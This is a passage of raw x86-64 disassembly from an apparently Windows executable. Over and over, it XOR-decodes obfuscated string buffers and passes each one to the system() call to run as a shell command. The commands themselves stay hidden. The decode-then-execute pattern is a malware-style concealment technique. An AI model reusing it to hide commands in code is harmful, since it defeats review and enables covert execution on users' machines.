movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140009cf0
jmp 0x140009e30
mov r9, r10
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140009e00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x58], 0
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140009f20
cmp r12d, 2
jl 0x140009ee6
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140009f20
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140009ef0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x59], 0
lea rdx, [rbp + 0x908]
lea rcx, [rsp + 0x59]
call fcn.140015d70
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x14000a0d0
mov r8d, ebx
cmp r12d, 2
jl 0x14000a093
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140009f90
cmp r8d, 0x23
jge 0x14000a0d0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x14000a0a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x5a], 0
lea rdx, [rbp + 0x34]
lea rcx, [rsp + 0x5a]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000a1c0
cmp r12d, 2
jl 0x14000a186
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000a1c0
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000a190
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x5b], 0
lea rdx, [rbp + 0x5a0]
lea rcx, [rsp + 0x5b]
call fcn.140015da0
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x14000a370
mov r8d, ebx
cmp r12d, 2
jl 0x14000a333
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000a230
cmp r8d, 0x1a
jge 0x14000a370
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14000a340
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x5c], 0
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x5c]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000a460
cmp r12d, 2
jl 0x14000a426
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000a460
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000a430
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x5d], 0
lea rdx, [rbp + 0xa48]
lea rcx, [rsp + 0x5d]
call fcn.140015dd0
mov r10, rax
cmp byte [rax + 0x25], 0
je 0x14000a610
mov r8d, ebx
cmp r12d, 2
jl 0x14000a5d3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000a4d0
cmp r8d, 0x26
jge 0x14000a610
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14000a5e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x5e], 0
lea rdx, [rbp + 0x3c]
lea rcx, [rsp + 0x5e]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000a700
cmp r12d, 2
jl 0x14000a6c6
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000a700
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000a6d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x5f], 0
lea rdx, [rbp + 0xa98]
lea rcx, [rsp + 0x5f]
call fcn.140015e00
mov r10, rax
cmp byte [rax + 0x27], 0
je 0x14000a8b0
cmp r12d, 2
jl 0x14000a86d
movdqa xmm5, xmmword [0x1400902e0]
mov edx, ebx
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov r8d, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x14000a770
jmp 0x14000a8b0
mov r9, r10
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x14000a880
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x60], 0
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000a9a0
cmp r12d, 2
jl 0x14000a966
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000a9a0
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000a970
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x61], 0
lea rdx, [rbp + 0xd78]
lea rcx, [rsp + 0x61]
call fcn.140015a40
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14000ab50
mov r8d, ebx
cmp r12d, 2
jl 0x14000ab13
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14000aa10
cmp r8d, 0x33
jge 0x14000ab50
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x14000ab20
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x62], 0
lea rdx, [rbp + 0x44]
lea rcx, [rsp + 0x62]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000ac40
cmp r12d, 2
jl 0x14000ac06
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000ac40
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000ac10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x63], 0
lea rdx, [rbp + 0xc30]
lea rcx, [rsp + 0x63]
call fcn.140015a80
mov r10, rax
cmp byte [rax + 0x2e], 0
je 0x14000adf0
mov r8d, ebx
cmp r12d, 2
jl 0x14000adb3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000acb0
cmp r8d, 0x2f
jge 0x14000adf0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x14000adc0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x64], 0
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x64]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000aee0
cmp r12d, 2
jl 0x14000aea6
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000aee0
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000aeb0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x65], 0
lea rdx, [rbp + 0xba0]
lea rcx, [rsp + 0x65]
call fcn.140015ad0
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x14000b090
mov r8d, ebx
cmp r12d, 2
jl 0x14000b053
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
